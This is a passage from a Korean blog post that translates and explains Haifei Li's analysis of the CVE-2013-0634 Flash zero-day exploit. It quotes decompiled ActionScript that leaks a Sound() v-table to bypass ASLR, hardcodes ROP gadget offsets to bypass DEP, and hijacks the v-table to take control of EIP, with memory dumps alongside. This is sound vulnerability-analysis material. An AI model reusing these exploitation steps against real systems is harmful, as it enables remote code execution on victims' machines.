//reading the pointer at offset 0x08, so we get the buffer pointer
_loc_15 = (_loc_12 + 0x08 - _loc_10 - 8) / 8;
_loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];

이것으로 우리는 ByteArray()의 포인터를 얻을 수 있습니다.

 

Leaking the address of Flash Player Module - bypassing ASLR

현재 익스플로잇에서 큰 그림을 보겠습니다. 우선 우리는

  1. 전역 메모리에 대한 정확한 읽기/쓰기가 가능합니다.
  2. 쉘코드를 넣을 고정된 공간이 있습니다.

하지만 아직 프로그램의 flow를 어디로 바꿔야 하는지, 어떻게 바꿔야하는지 모릅니다.

현대의 익스플로잇의 가장 기본적인 방법중 하나는, 쓸만한 특정 모듈의 베이스를 알아내어 해당 모듈의 코드 조각을 자유롭게, 연속적으로 익스플로잇에서 씀으로서(ROP) ASLR, DEP(NX-bit)를 우회 할 수 있습니다.

해당 익스플로잇도 같은 방법론적으로 짜여져 있습니다. 현재 우리가 전역 메모리에 대한 읽기가 가능하기 때문에 다양한 방법을 이용해 모듈의 주소를 알아 낼 수 있지만, 이번에는 특정 오브젝트의 v-table포인터를 읽음으로서 Flash Player 모듈의base`를 알아내 보도록 하겠습니다.

익스플로잇은 Sound() 오브젝트를 릭하기로 선택 했습니다. 메모리에서 Sound()오브젝트는 다음과 같습니다.

0389C020 28 EA AB 10 FF 00 00 60 A8 AD 6F 03 E8 A3 79 03

첫번째 DWORDv-table 포인터입니다. 다음 코드가 해당 내용을 읽습니다.

_loc_15 = (_loc_11 - _loc_10 - 8) / 8;
_loc_16 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];

_loc_11Sound()오브젝트의 주소값이 들어 있습니다. 해당 내용(v-table 포인터)을 읽어 _loc_16에 저장 합니다.

 

Calculating Important Addresses - bypassing DEP

이제 자유롭게 가젯의 주소를 계산하여 페이로드를 만들 수 있습니다.

본 문서에서는 쉘코드/페이로드를 짜는 방법에 대해서는 세부적으로 언급은 하지 않겠습니다. 다만, 어떻게 오프셋을 컨트롤 하는지는 다음 예시로 보여 드리겠습니다.

case "win 11,5,502,146": {
	if (Capabilities.playerType.toLowerCase() == "activex") {
		_loc_25 = _loc_16 - 0x1C0DC8;
		_loc_26 = _loc_16 - 0x8C500;
	}
	break;
}

_loc_16에는 Sound()오브젝트의 v-table 포인터가 들어 있습니다. 그렇다면 Sound()v-table을 기준으로 얼마만큼의 오프셋에 가젯이 존재하는지 계산에 하드코딩 해 주시면 됩니다.

본 익스플로잇에서는 xchg eax, esp, VirtualAllocEx()를 이용해 DEP를 우회하였습니다.

  • _loc_25에는 xchg eax, esp의 주소가 존재합니다.
  • _loc_26에는 VirtualAllocEx()가 존재합니다.

 

Controlling the EIP

우리는 이제 ROP 익스플로잇에 쓰일 공간과 어떤 가젯이 익스플로잇에 쓰일지에 대한것을 알아내었습니다. 이제 페이로드와 쉘코드가 준비 된다면, 마지막 단계인 프로그램의 플로우 바꾸기를 진행 해야합니다.

본 익스플로잇에서는 Sound() 오브젝트의 v-table을 조작 함으로 프로그램의 플로우를 바꿀 수 있습니다. 우리는 조작된 v-table을 만들고 조작된 v-tableSound() 오브젝트의 v-table오프셋에 저장해 v-table을 바꿔치기 할것입니다.

//_loc_11 is the pointer for the "Sound()" object
//_loc_12 points to the shellcode buffer
_loc_15 = (_loc_11 - _loc_10 - 8) / 8;
(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[_loc_15] =
this.UintToDouble(_loc_12, this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[1]);

다음 코드를 이용해 v-table을 바꿔치고, 아래의 코드를 통해 익스플로잇을 진행합니다.

//triggering the EIP control
new Number(_loc_6.toString());

그러면 다음이 실행 되고

10555540 mov eax, dword ptr [ecx] ; ecx is the vtable pointer
10555542 mov edx, dword ptr [eax+70] ; get the pointer at offset 0x70
10555545 call edx ; EIP to [vtable+0x70]
06E89000 F1 9A 80 7C 88 90 E8 06 00 90 E8 06 00 20 00 00 <-- eax
06E89010 00 10 00 00 40 00 00 00 00 00 00 00 00 00 00 00
06E89020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06E89030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06E89040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06E89050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06E89060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06E89070 60 DC 8F 10 00 00 00 00 00 00 00 00 00 00 00 00 <-- edx

정확히 offset 0x70에 존재하는 첫번째 가젯을 실행하게 됩니다.

드디어 우리는 우리의 쉘코드를 ASLR와 DEP를 무사히 격퇴하고 실행 할 수 있게됩니다.

코드의 마지막 몇개의 라인은 메모리를 정리하여 프로그램이 쉘코드를 정상적으로 수행 후 크래쉬가 나지 않도록 처리합니다.

//clean-up: restoring the v-table pointer of the "Sound()" object
(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[_loc_15] =
this.UintToDouble(_loc_16, this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[1]);

//clean-up: restoring the member length of the obj[4]
(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1FFFFFFF] = this.UintToDouble(16, _loc_9);
(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1FFFFFFF] = this.UintToDouble(16, _loc_9);

 

Conclusion by Haifei Li

In this paper we disclosed the exploitation technique used in the Flash zero-day exploit with full details. As we have seen, this is actually an advanced previously-unknown technique which leverages the custom heap management on Flash Player. Specifically, it leverages the "Vector.<>" objects in the ActionScript runtime. The highly sophisticated exploitation process shows how deep Flash ActionScript knowledge the attacker(s) behind the exploit acquires. On thoughts for protections, there is no hardening technique implemented on the Flash heap management which directly opens the door for this exploitation technique. It’s worth to highlight that the technique described in this paper is not only apply to this specific CVE-2013-0634 vulnerability, but also it would apply to many other Flash or non-Flash vulnerabilities. By looking at the whole exploitation, all the aid from the vulnerability is just overwriting few bytes (on the “element number” field of “Vector.” object). I would anticipate more exploits use the technique to bypass ASLR and DEP in future.

 

Conclusion by Haifei Li

되게 쉽게 설명을 잘 해놓으셨는데 제가 다시 잘 설명 했나 모르겠습니다 껄껄,,,,